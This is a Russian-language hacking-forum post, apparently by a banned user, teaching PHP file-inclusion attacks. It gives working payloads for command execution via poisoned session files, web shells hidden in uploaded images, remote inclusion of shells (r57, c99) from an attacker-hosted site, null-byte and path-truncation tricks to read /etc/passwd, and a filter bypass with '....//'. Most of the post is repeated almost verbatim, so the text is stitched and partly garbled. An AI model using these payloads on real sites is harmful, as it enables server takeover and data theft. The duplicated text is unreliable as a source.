Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Очень часто можно приинклудить свою сессию.
Смысл:
пхп скрипт работает с сессиями и пишет например в них рефер или юзерагент.
ОБратимся к сайту с юзерагентом и рефером вида "<?php system($_GET['a']) ?>".
Допустим пхп скрипт записал это в нашу сессию.
Сессиии храняться в катологе temp и имеют префикс sess_
Узнаем имя своей сесии из куков.
обращаемся к скрипту так:
Код:
http://..............index.php?file=../temp/sess_ИМЯ_НАШЕЙ_СЕСИИ
http://..............index.php?file=../temp/sess_54c8da464dd4d65a4c80a1b2c4a598c81&a=ls
Сессия это просто текстовый файл, в который пишутся данные.
Пхп скрипт, найдя дескрипторы <?php и ?> интерпретирует в них команды.
Можно каким-либо образом загрузить файл на сайт, а потом его приинклудить и он выполниться. Например сайт какой-то фотогаллерии. Загружаем картинку (аву или ченить наподобие), предварительно подправив сорец картинки (вписав <?php system($_GET['cmd']) ?>). Картинку загрузили, посмотрели её адрес и пробуем инклудить...
Код:
http://....../index.php?file=images/IMG_012454.jpg?cmd=ls
и видим список файлов и папок в текущей директории.
2. Можно приинклудить файлы которые находятся на других сайтах.
Условие:
Код:
; PHP.INI
allow_url_fopen = ON
allow_url_include = ON
Создаем сайт на каком-нибудь бесплатном хостинге, например narod.ru.
Загружаем текстовый файл с текстом <?php system($_GET['cmd']); ?> а можно и записать в текстовик полноценный код шелла (r57,c99 итд).
Загрузили с именем a.txt предположим.
Идем на бажный сайтец с такими параметрами
Код:
http://......./index.php?file=http://nashsajt.narod.ru/a.txt&cmd=ls
Еcли же у нас
Код:
include("$_GET['razdel']/default/index.php");
то на своем хостинге создаем папку /default/index.php . Но нам надо чтобы пхп не интерпретировался на нашем хостинге, тоесть при обращении к index.php был
Код:
http://.............index.php?razdel=http://nashsajt.narod.ru
Получиться
Код:
include("http://nashsajt.narod.ru/default/index.php");
Бывает например вот так
Код:
Include("images/$_GET['file'].jpg");
Тоесть нам мешается расширение jpg. Отсечь его можно вот так:
Код:
htp://........index.php?file=../../etc/passwd%00
Что такое %00 ?
Нуллбайт - пустой символ. Т.к. пхп написан на с++, а в с++ нуллбайт означает конец текстовой строки, поэтому в строчке lalala%00fffff пхп увидит только lalala
Сейчас редко где прокатывает нуллбайт. Но есть альтернатива:
Для WIN универсальный символ для последовательности в векторе атаки это точка (.);
минимальная универсальная длина этой последовательности - 266 символов
в *nix единственным и универсальным символом является слэш (/);
минимальная универсальная длина последовательности - 4095 символов;
Код:
http://...../test.php?lol=inc.php.......................
Код:
http://localhost/test.php?lol=inc.php/////////////////////
Более детальная информация об альтернативе нулл байта - Форум АНТИЧАТ - [новый способ] замена нулл-байту в инклудах
Иногда в скрипах делают фильтры , которые режут ../
Код:
<?php
str_replace('../','',$_GET['inc']);
?>
Обходится элементарно:
Код:
http://...../?inc=....//....//a.php
Смысл:
пхп скрипт работает с сессиями и пишет например в них рефер или юзерагент.
ОБратимся к сайту с юзерагентом и рефером вида "<?php system($_GET['a']) ?>".
Допустим пхп скрипт записал это в нашу сессию.
Сессиии храняться в катологе temp и имеют префикс sess_
Узнаем имя своей сесии из куков.
обращаемся к скрипту так:
Код:
http://..............index.php?file=../temp/sess_ИМЯ_НАШЕЙ_СЕСИИ
http://..............index.php?file=../temp/sess_54c8da464dd4d65a4c80a1b2c4a598c81&a=ls
Сессия это просто текстовый файл, в который пишутся данные.
Пхп скрипт, найдя дескрипторы <?php и ?> интерпретирует в них команды.
Можно каким-либо образом загрузить файл на сайт, а потом его приинклудить и он выполниться. Например сайт какой-то фотогаллерии. Загружаем картинку (аву или ченить наподобие), предварительно подправив сорец картинки (вписав <?php system($_GET['cmd']) ?>). Картинку загрузили, посмотрели её адрес и пробуем инклудить...
Код:
http://....../index.php?file=images/IMG_012454.jpg?cmd=ls
и видим список файлов и папок в текущей директории.
2. Можно приинклудить файлы которые находятся на других сайтах.
Условие:
Код:
; PHP.INI
allow_url_fopen = ON
allow_url_include = ON
Создаем сайт на каком-нибудь бесплатном хостинге, например narod.ru.
Загружаем текстовый файл с текстом <?php system($_GET['cmd']); ?> а можно и записать в текстовик полноценный код шелла (r57,c99 итд).
Загрузили с именем a.txt предположим.
Идем на бажный сайтец с такими параметрами
Код:
http://......./index.php?file=http://nashsajt.narod.ru/a.txt&cmd=ls
Еcли же у нас
Код:
include("$_GET['razdel']/default/index.php");
то на своем хостинге создаем папку /default/index.php . Но нам надо чтобы пхп не интерпретировался на нашем хостинге, тоесть при обращении к index.php был
Код:
http://.............index.php?razdel=http://nashsajt.narod.ru
Получиться
Код:
include("http://nashsajt.narod.ru/default/index.php");
Бывает например вот так
Код:
Include("images/$_GET['file'].jpg");
Тоесть нам мешается расширение jpg. Отсечь его можно вот так:
Код:
htp://........index.php?file=../../etc/passwd%00
Что такое %00 ?
Нуллбайт - пустой символ. Т.к. пхп написан на с++, а в с++ нуллбайт означает конец текстовой строки, поэтому в строчке lalala%00fffff пхп увидит только lalala
Сейчас редко где прокатывает нуллбайт. Но есть альтернатива:
Для WIN универсальный символ для последовательности в векторе атаки это точка (.);
минимальная универсальная длина этой последовательности - 266 символов
в *nix единственным и универсальным символом является слэш (/);
минимальная универсальная длина последовательности - 4095 символов;
Код:
http://...../test.php?lol=inc.php.......................
Код:
http://localhost/test.php?lol=inc.php/////////////////////
Более детальная информация об альтернативе нулл байта - Форум АНТИЧАТ - [новый способ] замена нулл-байту в инклудах
Иногда в скрипах делают фильтры , которые режут ../
Код:
<?php
str_replace('../','',$_GET['inc']);
?>
Обходится элементарно:
Код:
http://...../?inc=....//....//a.php